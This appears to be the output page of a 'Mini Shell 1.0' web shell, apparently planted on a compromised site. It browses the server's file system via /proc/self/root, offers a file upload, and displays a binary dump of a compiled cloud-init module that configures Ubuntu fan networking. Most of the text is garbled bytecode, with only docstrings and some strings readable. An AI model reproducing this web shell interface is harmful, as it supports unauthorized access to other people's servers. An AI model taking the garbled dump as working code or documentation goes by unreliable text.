HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_fan.cpython-311.pyc
�

܍~cp���UdZddlmZddlmZddlmZddlmZmZddl	m
Z
ddlmZddl
mZmZdd	lmZd
ZdgZdd
deeeed��gdgd�Zeed<ee��Zeje��Zddd�Zd�Zdedede
dededdfd�ZdS)z$Fan: Configure ubuntu fan networking�)�Logger)�dedent)�log)�subp�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�PER_INSTANCEaThis module installs, configures and starts the ubuntu fan network system. For
more information about Ubuntu Fan, see:
``https://wiki.ubuntu.com/FanNetworking``.

If cloud-init sees a ``fan`` entry in cloud-config it will:

    - write ``config_path`` with the contents of the ``config`` key
    - install the package ``ubuntu-fan`` if it is not installed
    - ensure the service is started (or restarted if was previously running)

Additionally, the ``ubuntu-fan`` package will be automatically installed
if not present.
�ubuntu�cc_fan�FanzConfigure ubuntu fan networkinga            fan:
              config: |
                # fan 240
                10.0.0.0/8 eth0/16 dhcp
                10.0.0.0/8 eth1/16 dhcp off
                # fan 241
                241.0.0.0/8 eth0/16 dhcp
              config_path: /etc/network/fan
            �fan)�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�metaNz/etc/network/fan)�config�config_pathc��	|�d|��d}n:#tj$r(}d}t�d||��Yd}~nd}~wwxYw|�d��s|dz
}t
j||d���	|�d|��|rt�d	|��n8#tj$r&}t�d
||��Yd}~nd}~wwxYw|�d|��dS)N�stopFTzfailed to stop %s: %s�
�w��omode�startzsuccess: %s startedzfailed to start %s: %s�enable)�manage_servicer�ProcessExecutionError�LOG�warning�endswithr�
write_file)�distro�service�config_file�content�stop_failed�es      �9/usr/lib/python3/dist-packages/cloudinit/config/cc_fan.py�stop_update_startr1DsH��9����f�g�.�.�.������%�9�9�9������+�W�a�8�8�8�8�8�8�8�8�����9�������D�!�!���4����O�K���4�4�4�4�:����g�w�/�/�/��	8��K�K�-�w�7�7�7����%�:�:�:����,�g�q�9�9�9�9�9�9�9�9�����:�������(�G�,�,�,�,�,s,��A�A
�
A�3B;�;C0�
C+�+C0r�cfg�cloudr�args�returnc� �|�d��}|si}tj|tg��}|�d��st�d|��dStj|�d��|�d��d���|j}tj	d��s|�
dg��t|d|�d��|�d���	��dS)
Nrrz$%s: no 'fan' config entry. disablingrrr �fanctlz
ubuntu-fan)r+r,r-)�getr�
mergemanydict�BUILTIN_CFGr&�debugr)r*r�which�install_packagesr1)rr2r3rr4�cfgin�mycfgr*s        r0�handler@Zs��
�G�G�E�N�N�E��������{�3�4�4�E��9�9�X�����	�	�8�$�?�?�?����O�E�I�I�m�,�,�e�i�i��.A�.A��M�M�M�M�
�\�F��:�h���0������/�/�/�����I�I�m�,�,��	�	�(�#�#�	������)�__doc__�loggingr�textwrapr�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
r�cloudinit.settingsr�MODULE_DESCRIPTIONrr�__annotations__�	getLogger�__name__r&r:r1�str�listr@�rAr0�<module>rQs���+�*�*�������������$�$�$�$�$�$� � � � � � � � �!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�+�+�+�+�+�+�
���*��
��
.�%�����	
�	
�	
�
�!&�w�+���j����0�,�t�
�
���g���!�!���%����-�-�-�,�

����#(��/5��=A��	������rA